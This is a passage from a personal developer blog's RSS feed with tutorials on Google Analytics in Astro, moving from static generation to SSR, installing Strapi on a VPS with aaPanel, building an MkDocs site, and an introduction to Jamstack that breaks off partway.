&lt;p&gt;A core principle of Astro is DRY (&lt;em&gt;Don&apos;t Repeat Yourself&lt;/em&gt;). Therefore, we will add the Google Analytics script &lt;strong&gt;only once&lt;/strong&gt; in a base layout file that is used by all pages. Typically, this file is &lt;code&gt;src/layouts/BaseLayout.astro&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Open your &lt;code&gt;BaseLayout.astro&lt;/code&gt; file and add the following code block inside the &lt;code&gt;&amp;#x3C;head&gt;&lt;/code&gt; tag:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// BaseLayout.astro frontmatter
---
&amp;#x3C;html lang=&quot;en&quot;&gt;
  &amp;#x3C;head&gt;
    {/* ...other head tags... */}

    {/* ===== Google Analytics Script Block ===== */}
    {
      import.meta.env.PROD &amp;#x26;&amp;#x26; (
        &amp;#x3C;&gt;
          &amp;#x3C;script
            async
            src={`https://www.googletagmanager.com/gtag/js?id=${import.meta.env.PUBLIC_GA_ID}`}
          /&gt;
          &amp;#x3C;script
            is:inline
            define:vars={{
              gaId: import.meta.env.PUBLIC_GA_ID,
            }}
          &gt;
            window.dataLayer = window.dataLayer || [];
            function gtag() {
              dataLayer.push(arguments);
            }
            gtag(&quot;js&quot;, new Date());
            gtag(&quot;config&quot;, gaId);
          &amp;#x3C;/script&gt;
        &amp;#x3C;/&gt;
      )
    }
    {/* ======================================= */}
  &amp;#x3C;/head&gt;
  &amp;#x3C;body&gt;
    {/* ...body content... */}
  &amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Code Explanation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;import.meta.env.PROD &amp;#x26;&amp;#x26; (...)&lt;/code&gt;: Ensures the script only runs when the project is built for production, not during local development.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;import.meta.env.PUBLIC_GA_ID&lt;/code&gt;: Retrieves the ID from the &lt;code&gt;.env&lt;/code&gt; file we created earlier.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is:inline&lt;/code&gt;: An essential Astro attribute that prevents Astro from processing the script, injecting it directly into the final HTML.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.D0h2Bq-5_1FyRAJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Step 4: Handle Modern Navigation (View Transitions)&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Many modern Astro sites use View Transitions for smoother navigation without full page reloads. This can prevent Google Analytics from tracking page changes. The solution is to listen for Astro&apos;s navigation events.&lt;/p&gt;
&lt;p&gt;Add the following script inside the &lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt; tag of your &lt;code&gt;BaseLayout.astro&lt;/code&gt; file (placing it just before the closing &lt;code&gt;&amp;#x3C;/body&gt;&lt;/code&gt; tag is good practice):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;{/* ...inside the &amp;#x3C;body&gt;... */}

&amp;#x3C;script is:inline&gt;
  document.addEventListener(&apos;astro:after-swap&apos;, () =&gt; {
    if (typeof gtag === &apos;function&apos; &amp;#x26;&amp;#x26; typeof import.meta.env.PUBLIC_GA_ID !== &apos;undefined&apos;) {
      gtag(&apos;event&apos;, &apos;page_view&apos;, {
        page_path: location.pathname,
        page_location: location.href,
      });
    }
  });
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script manually sends a &lt;code&gt;page_view&lt;/code&gt; event to Google Analytics every time an Astro page transition completes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.DypG9-vy_2bSfvy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Step 5: Configure Your Hosting Platform (Netlify Example)&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;.env&lt;/code&gt; is not committed, how does the live server know your Analytics ID? You need to add it to your hosting platform&apos;s settings. Here’s how to do it on Netlify:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to your Netlify dashboard.&lt;/li&gt;
&lt;li&gt;Select your site, then navigate to &lt;strong&gt;Site configuration &gt; Build &amp;#x26; deploy &gt; Environment variables&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;&quot;Add a variable&quot;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Fill in the &lt;em&gt;Key&lt;/em&gt; as &lt;code&gt;PUBLIC_GA_ID&lt;/code&gt; and the &lt;em&gt;Value&lt;/em&gt; with &lt;code&gt;G-XXXXXXXXXX&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Save and trigger a new deploy to apply the changes.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.dA-DFXZq_rg6IR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Verification&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;After deploying your site, don&apos;t panic if the standard reports in Google Analytics are empty. It can take up to 48 hours for data to appear.&lt;/p&gt;
&lt;p&gt;Use the &lt;strong&gt;Realtime&lt;/strong&gt; report for instant verification:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Google Analytics &gt; &lt;strong&gt;Reports &gt; Realtime&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Open your live site in another browser tab and navigate through a few pages.&lt;/li&gt;
&lt;li&gt;You should see your activity appear in the Realtime report within seconds. If so, congratulations, your installation is successful!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.Cveh2NrY_Z2aUxGo.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;By following these steps, you have successfully integrated Google Analytics into your Astro project in a clean, secure, and maintainable way. This method not only ensures accurate data tracking but also keeps your codebase professional and tidy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulilah. Hope it useful!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Image Source&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/images/landing-page/Rectangular-16x9/E02877824-GMP-Google-Analytics-Help-Center-Assets-Apr23-Graphic-1.1@300x.svg&quot;&gt;developer.google.com&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image copy.o93vHtId.png"/><enclosure url="/_astro/image copy.o93vHtId.png"/></item><item><title>When Astro&apos;s SSG Hits a Scalability Wall</title><link>https://farros.co/blog/when-astros-ssg-hits-a-scability-wall/</link><guid isPermaLink="true">https://farros.co/blog/when-astros-ssg-hits-a-scability-wall/</guid><description>Reflecting on my Astro site&apos;s journey: from SSG&apos;s initial appeal to facing scalability challenges, prompting a shift towards Server-Side Rendering (SSR).</description><pubDate>Sun, 17 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Early Days: The Charm of Static Site Generation&lt;/h2&gt;
&lt;p&gt;When I first built this site, Astro felt like the answer. As a developer, the concept of Static Site Generation (SSG) was a luxury. Amazing build speeds, fast site performance due to generating static HTML without JavaScript (by default), and a smooth developer experience (DX).&lt;/p&gt;
&lt;p&gt;Managing content via Markdown files within &lt;code&gt;src/content/&lt;/code&gt; was straightforward. Each article was a neat, structured &lt;code&gt;.md&lt;/code&gt; file, all under Git version control. For a portfolio or personal blog with a few articles, this workflow was great:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write a new article in the code editor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git add .&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git commit -m &quot;feat: add new blog post&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Wait a few minutes for Netlify to finish building.&lt;/li&gt;
&lt;li&gt;The new article goes live.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Simple, efficient, and very satisfying.&lt;/p&gt;
&lt;h2&gt;The Scalability Wall&lt;/h2&gt;
&lt;p&gt;As time went on, this site began to grow. The number of articles increased from a handful to dozens. This is where I started to feel some &quot;pebbles&quot; in my workflow.&lt;/p&gt;
&lt;p&gt;The main problem was the &lt;strong&gt;build-deploy cycle&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Every change, no matter how small—fixing a typo, changing an image, or publishing a new article—required rebuilding the entire site.&lt;/p&gt;
&lt;p&gt;Waiting for the build process to complete felt like a pause, which also consumed Netlify&apos;s hosting quota. This led to considerations because the build process was no longer as fast as before, given the increasing number of articles already created.&lt;/p&gt;
&lt;h2&gt;The &quot;Aha!&quot; Moment: Decoupling Content from Code&lt;/h2&gt;
&lt;p&gt;The core issue was &lt;strong&gt;content and code being too tightly coupled&lt;/strong&gt;. My articles were part of the codebase. To update content, I had to redeploy the code.&lt;/p&gt;
&lt;p&gt;This is where the concept of a &lt;strong&gt;Headless CMS&lt;/strong&gt; entered the picture.&lt;/p&gt;
&lt;p&gt;With a Headless CMS (like Strapi, Contentful, or Sanity), content (articles, project data, etc.) lives on its own platform. My Astro site no longer needed to know about Markdown files. Instead, it only needed to know how to &quot;ask&quot; the CMS via an API to get the required content.&lt;/p&gt;
&lt;h2&gt;A Solution: Astro SSR (Server-Side Rendering)&lt;/h2&gt;
&lt;p&gt;Astro, with its flexibility, already had an answer for this. Besides the &lt;code&gt;&apos;static&apos;&lt;/code&gt; mode, Astro also supports &lt;code&gt;&apos;server&apos;&lt;/code&gt; mode.&lt;/p&gt;
&lt;p&gt;By switching the &lt;code&gt;output&lt;/code&gt; in &lt;code&gt;astro.config.ts&lt;/code&gt; to &lt;code&gt;&apos;server&apos;&lt;/code&gt; and using an adapter like &lt;code&gt;@astrojs/netlify&lt;/code&gt;, my site&apos;s architecture fundamentally changed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No more per-content builds:&lt;/strong&gt; The site is no longer generated into thousands of HTML files during the build. Instead, Netlify deploys a serverless function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Render on Demand:&lt;/strong&gt; When a user visits &lt;code&gt;/blog/new-article&lt;/code&gt;, this function runs. It will contact the Headless CMS, fetch the data for &lt;code&gt;new-article&lt;/code&gt;, render it into HTML on the fly, and send it to the user.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The publishing workflow can also be changed to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write and edit articles in the Headless CMS web interface.&lt;/li&gt;
&lt;li&gt;Press the &lt;strong&gt;&quot;Publish&quot;&lt;/strong&gt; button.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Done.&lt;/strong&gt; The article goes live instantly. No &lt;code&gt;git push&lt;/code&gt;, no waiting for builds.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion: Astro Remains Great, with the Right Configuration&lt;/h2&gt;
&lt;p&gt;Astro is an incredibly flexible framework. As an SSG, it is indeed excellent for small to medium-scale projects.&lt;/p&gt;
&lt;p&gt;However, when your site grows and the need for more dynamic content management arises, Astro doesn&apos;t force you to switch. It provides a path through SSR mode.&lt;/p&gt;
&lt;p&gt;By the way, I&apos;m still on SSG and haven&apos;t tried hybrid yet, but the considerations above compel me to explore it eventually.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah. Hope it usefull.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.D9KvbVia.png"/><enclosure url="/_astro/image.D9KvbVia.png"/></item><item><title>Strapi VPS Installation with aaPanel</title><link>https://farros.co/blog/strapi-vps-installation-with-aapanel/</link><guid isPermaLink="true">https://farros.co/blog/strapi-vps-installation-with-aapanel/</guid><description>An experience sharing on installing Strapi, a popular open-source headless CMS, on a VPS using aaPanel, covering all steps and troubleshooting.</description><pubDate>Tue, 12 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Bismillah&lt;/h2&gt;
&lt;p&gt;This article shares an my experience in installing Strapi on a server. Strapi is a popular open-source headless CMS, offering a lot of freedom to build APIs.&lt;/p&gt;
&lt;p&gt;The technology foundation used for this setup is a VPS with aaPanel.&lt;/p&gt;
&lt;h2&gt;Phase 1: Preparation&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Preparing the Database:&lt;/strong&gt; Creating a new MySQL database via the &quot;Databases&quot; menu in aaPanel, complete with a user and password.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Preparing the Node.js Environment:&lt;/strong&gt; Through the &quot;App Store&quot; in aaPanel, the &quot;Node.js version manager&quot; can be installed to select the latest LTS version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Strapi Installation:&lt;/strong&gt; Using the standard terminal command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx create-strapi-app@latest api.domain-name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An installation wizard appears and gives the following options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installation type: Custom (manual settings), to use the previously created MySQL database.&lt;/li&gt;
&lt;li&gt;Database Client: MySQL&lt;/li&gt;
&lt;li&gt;Example Data: No, due to a specific preference for product data.&lt;/li&gt;
&lt;li&gt;TypeScript: Yes, for maintainability and type safety.&lt;/li&gt;
&lt;li&gt;Git Initialization: Yes, to have version control from the very beginning.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Up to this point, there were no issues.&lt;/p&gt;
&lt;h2&gt;Phase 2: Git&lt;/h2&gt;
&lt;p&gt;For developer portfolio purposes, contributions should be credited to the personal account (My username is &lt;code&gt;farrosfr&lt;/code&gt;) even if the repository is in an organization. The solution is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Git Author Configuration:&lt;/strong&gt; Before the first commit, set the Git identity on the VPS with the command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git config --global user.name &quot;farrosfr&quot;
# Using the noreply email from GitHub for privacy
git config --global user.email &quot;ID+farrosfr@users.noreply.github.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authentication with Personal Access Token (PAT):&lt;/strong&gt;
GitHub no longer accepts regular passwords for Git operations via HTTPS, so using a PAT is necessary.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After this, the first push to the organization&apos;s repository was successful, with the commit correctly displaying the personal account.&lt;/p&gt;
&lt;h2&gt;Phase 3: Apache Configuration (Encountering 404 &amp;#x26; 403 Errors)&lt;/h2&gt;
&lt;p&gt;After registering the Node.js project in aaPanel, I try to access &lt;code&gt;api.domain-name/admin&lt;/code&gt; resulted in a &quot;404 Not Found&quot; error from the Apache Server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Incorrect Diagnosis:&lt;/strong&gt; Initially, my thought was to shut down Apache, as the aaPanel project should use Nginx. This was a wrong and dangerous assumption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Correct Diagnosis:&lt;/strong&gt; After checking the &quot;Website&quot; menu in aaPanel, it became clear that the VPS is an environment with many PHP-based websites, all running on Apache. Shutting down Apache would disable all those websites. The issue was a port conflict with Apache.&lt;/p&gt;
&lt;h3&gt;Solution: Reverse Proxy&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Deleting the project configuration from the &quot;Node Project&quot; menu to avoid overlaps.&lt;/li&gt;
&lt;li&gt;Adding a new website in the PHP Project section with a static configuration.&lt;/li&gt;
&lt;li&gt;Accessing the &quot;Reverse Proxy&quot; config.&lt;/li&gt;
&lt;li&gt;A new reverse proxy rule was added there, targeting the internal Strapi application URL: &lt;code&gt;http://127.0.0.1:1337&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The result was a success. The Strapi admin registration page finally appeared, allowing for account creation there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DJ40k2zx_ZxY2Xf.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CsCOSI0y_1Qoxeo.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Phase 4: DNS, SSL, and PM2&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Setting up DNS:&lt;/strong&gt; Logging into the domain registrar to create the A record needed for SSL verification.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Installing SSL:&lt;/strong&gt; Using Let&apos;s Encrypt to enable SSL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Running Permanently:&lt;/strong&gt; Re-registering the Strapi project in the &quot;Node Project&quot; menu. This ensures the application is managed by PM2.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah. Hopefully, this is useful.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.DJ40k2zx.png"/><enclosure url="/_astro/image.DJ40k2zx.png"/></item><item><title>Build a Pro Docs Site Fast with MkDocs</title><link>https://farros.co/blog/build-a-pro-docs-site-fast-with-mkdocs/</link><guid isPermaLink="true">https://farros.co/blog/build-a-pro-docs-site-fast-with-mkdocs/</guid><description>Learn how to use MkDocs, a Static Site Generator, to build a clean, modern, and functional documentation website in minutes.</description><pubDate>Mon, 11 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Image source: &lt;a href=&quot;https://dashboard.snapcraft.io/site_media/appmedia/2019/12/61556938-3c337400-aa63-11e9-9ec1-a3ba5643a1a6.png&quot;&gt;snapcraft.io&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Have you ever found it difficult to manage project documentation? Writing everything in a single Word document is inefficient, as is creating a website from scratch using HTML and CSS. If so, let&apos;s get acquainted with MkDocs.&lt;/p&gt;
&lt;p&gt;In this article, we will discuss how to create a clean, modern, and functional documentation website in a matter of minutes.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;What is MkDocs?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;MkDocs is a Static Site Generator (SSG). With it, we can transform Markdown (&lt;code&gt;.md&lt;/code&gt;) files and a configuration file into a complete HTML website, ready for hosting.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Why MkDocs?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Focus on Content:&lt;/strong&gt; Concentrate on writing content in Markdown, without worrying about complex HTML.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic Navigation:&lt;/strong&gt; It creates a navigation menu based on your file and folder structure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast &amp;#x26; Lightweight:&lt;/strong&gt; The resulting website is static, which makes it very fast.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customizable:&lt;/strong&gt; Many themes and plugins are available. One of the most popular is Material for MkDocs, which includes features like search, dark mode, and a modern design.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;How to Create the Website&lt;/strong&gt;&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Installing MkDocs&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Open your terminal and run the following command.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install mkdocs mkdocs-material
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Creating a New Project&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Run this command in your projects folder.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdocs new web-documentation
cd web-documentation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will create a &lt;code&gt;web-documentation&lt;/code&gt; folder with the following structure:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;.
├── docs/
│   └── index.md
└── mkdocs.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;docs/&lt;/code&gt;&lt;/strong&gt;: The folder where all your Markdown content files will be stored.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;mkdocs.yml&lt;/code&gt;&lt;/strong&gt;: The main configuration file for your website.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Project Configuration (&lt;code&gt;mkdocs.yml&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Open the &lt;code&gt;mkdocs.yml&lt;/code&gt; file and adjust its content.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Basic website information
site_name: My Project Documentation
site_author: FarrosFR

# Use the Material theme
theme:
  name: material
  
# Navigation Menu Structure
nav:
  - &apos;Home&apos;: &apos;index.md&apos;
  - &apos;About&apos;: &apos;about.md&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The configuration above indicates that our website will have two pages in the navigation menu: &quot;Home&quot; and &quot;About&quot;.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Adding Content&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Now, let&apos;s add the content.&lt;/p&gt;
&lt;p&gt;Edit &lt;code&gt;docs/index.md&lt;/code&gt; (Home):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# Welcome to My Project Documentation

This is the main page for the project documentation. This project aims to...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the file &lt;code&gt;docs/about.md&lt;/code&gt; (About):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# About the Project

This project was created using MkDocs to simplify documentation management.

## Main Features
- Feature A
- Feature B
- Feature C
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Running the Local Server&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;To see your website live, run the following command.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdocs serve
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, open your browser and navigate to &lt;code&gt;http://127.0.0.1:8000&lt;/code&gt;. Whenever you save a change in a &lt;code&gt;.md&lt;/code&gt; file, the browser will update automatically.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Building the Website for Production&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Once you are satisfied with the result, stop the local server (&lt;code&gt;Ctrl + C&lt;/code&gt;) and run the &lt;code&gt;build&lt;/code&gt; command.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdocs build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will create a new folder named &lt;code&gt;site&lt;/code&gt;. The contents of this folder are the final version of your website.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Deploying to Hosting&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;You only need to upload the entire contents of the &lt;code&gt;site&lt;/code&gt; folder, as it contains static files.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Alhamdulillah. Thank you for reading, and I hope you find this useful.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Need Web Development Services?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;If you need professional assistance in building your website, feel free to contact me.
&lt;strong&gt;&lt;a href=&quot;https://linkedin.com/in/farrosfr/&quot;&gt;https://linkedin.com/in/farrosfr/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-1.pYNmYIim.png"/><enclosure url="/_astro/image-1.pYNmYIim.png"/></item><item><title>Building a Website with Jamstack</title><link>https://farros.co/blog/building-a-website-with-jamstack/</link><guid isPermaLink="true">https://farros.co/blog/building-a-website-with-jamstack/</guid><description>Learn what Jamstack is, why it&apos;s secure and fast, and the step-by-step process to build your own website using modern tools like Astro and Netlify.</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Bismillah&lt;/h2&gt;
&lt;p&gt;Here I want to share about a web architecture. The background is that I am currently focusing on learning cyber security, especially within the offensive scope. So, while learning, I create write-ups of my studies to be published on Medium.&lt;/p&gt;
&lt;h2&gt;1. What Exactly is Jamstack?&lt;/h2&gt;
&lt;p&gt;Here is an analogy that can be used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Traditional Website (Example: Wordpress):&lt;/strong&gt; Every time a guest arrives, we have to make food from scratch. Starting from cooking, until it becomes a meal. This process is done while the guest is at the front door. So, this process is quite energy-consuming.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jamstack Website:&lt;/strong&gt; We build the food once during the &lt;code&gt;build&lt;/code&gt; process. Then this finished food (static file) is duplicated and placed in many locations around the world (CDN). So if a guest comes, they can just take the closest food in the region they are accessing from.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So technically, &lt;strong&gt;JAM&lt;/strong&gt; is an acronym for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript&lt;/li&gt;
&lt;li&gt;APIs&lt;/li&gt;
&lt;li&gt;Markup&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Why Does the farros.co Website Use Jamstack?&lt;/h2&gt;
&lt;p&gt;Here are some points that are used.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Security:&lt;/strong&gt; The website is just a collection of static files. So it&apos;s difficult to hack from the database and plugin side.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Speed:&lt;/strong&gt; Pages are already served in CDN form, so they can be fast.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hosting Costs:&lt;/strong&gt; Static files can be hosted on a CDN at a low cost, even free for personal projects. You can use tools like Netlify and Cloudflare Pages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scalability:&lt;/strong&gt; The CDN is designed to handle a lot of traffic. So if an article goes viral, it can still be handled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dev Experience:&lt;/strong&gt; We can choose various available favorite technologies or frameworks, such as React, Vue, Svelte, as well as a modern git workflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Steps to Build a Website with Jamstack&lt;/h2&gt;
&lt;h3&gt;Step 1: Choosing Tools&lt;/h3&gt;
&lt;p&gt;We don&apos;t need all of them, just choose one from each category.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Static Site Generator (SSG)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Next.JS&lt;/li&gt;
&lt;li&gt;Astro&lt;/li&gt;
&lt;li&gt;Hugo&lt;/li&gt;
&lt;li&gt;Eleventy (11ty)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Headless CMS (Optional for Blog)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Git-based:&lt;/strong&gt; just write in markdown format.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API-based:&lt;/strong&gt; you can try Strapi, Contentful, or Sanity.io.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform Hosting/Deployment:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vercel:&lt;/strong&gt; I haven&apos;t used it because they say there&apos;s a controversy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Netlify:&lt;/strong&gt; I use this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Pages:&lt;/strong&gt; they say it&apos;s very fast because it&apos;s integrated with the Cloudflare CDN.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 2: Local Development Process&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Initialize Project:&lt;/strong&gt; choose one SSG (e.g., Astro).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Create a new Astro project
npm create astro@latest
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Develop the Look:&lt;/strong&gt; Start creating pages (&lt;code&gt;.astro&lt;/code&gt; or &lt;code&gt;.md&lt;/code&gt;), components, and styling. Or you can also use available templates and then modify them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run locally:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
